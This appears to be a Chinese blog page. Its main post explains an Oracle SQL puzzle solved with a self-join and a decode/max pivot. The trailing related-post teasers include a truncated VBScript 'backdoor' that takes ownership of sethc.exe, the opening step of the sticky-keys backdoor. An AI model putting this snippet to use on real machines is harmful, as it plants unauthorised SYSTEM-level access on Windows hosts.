今天看見乙個帖子是這樣描述的
oracle中有一表tab
no name
1 a
2 b
3 c
4 d
你寫一條sql語句顯示以下結果
ab ac ad bc bd cd
答案:
create table test1(no number,name varchar2(20));
insert into values(1,'a');
......................
......................
思路是這樣的
首先:這個肯定是自表連線的了
因為 1 a 2 b
1 a 3 c
1 a 4 d
2 b 3 c
2 b 4 d
3 c 4 d
t1.no < t2.no
現在可以做行列轉換了
思路是根據 decode
從 res 集合中 取出a 列的資料 每次取乙個然後把取出的值放入每乙個decode()算乙個值,最後都算完max()
取出ab 然後decode 後 t1 下就是 ab,t2下就是null,t3-t7都是null
取出ac 然後decode 後 t1 是null t2下是bc,t3-t7都是null
以此類推 最後每列都執行max函式
有意思的話
1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...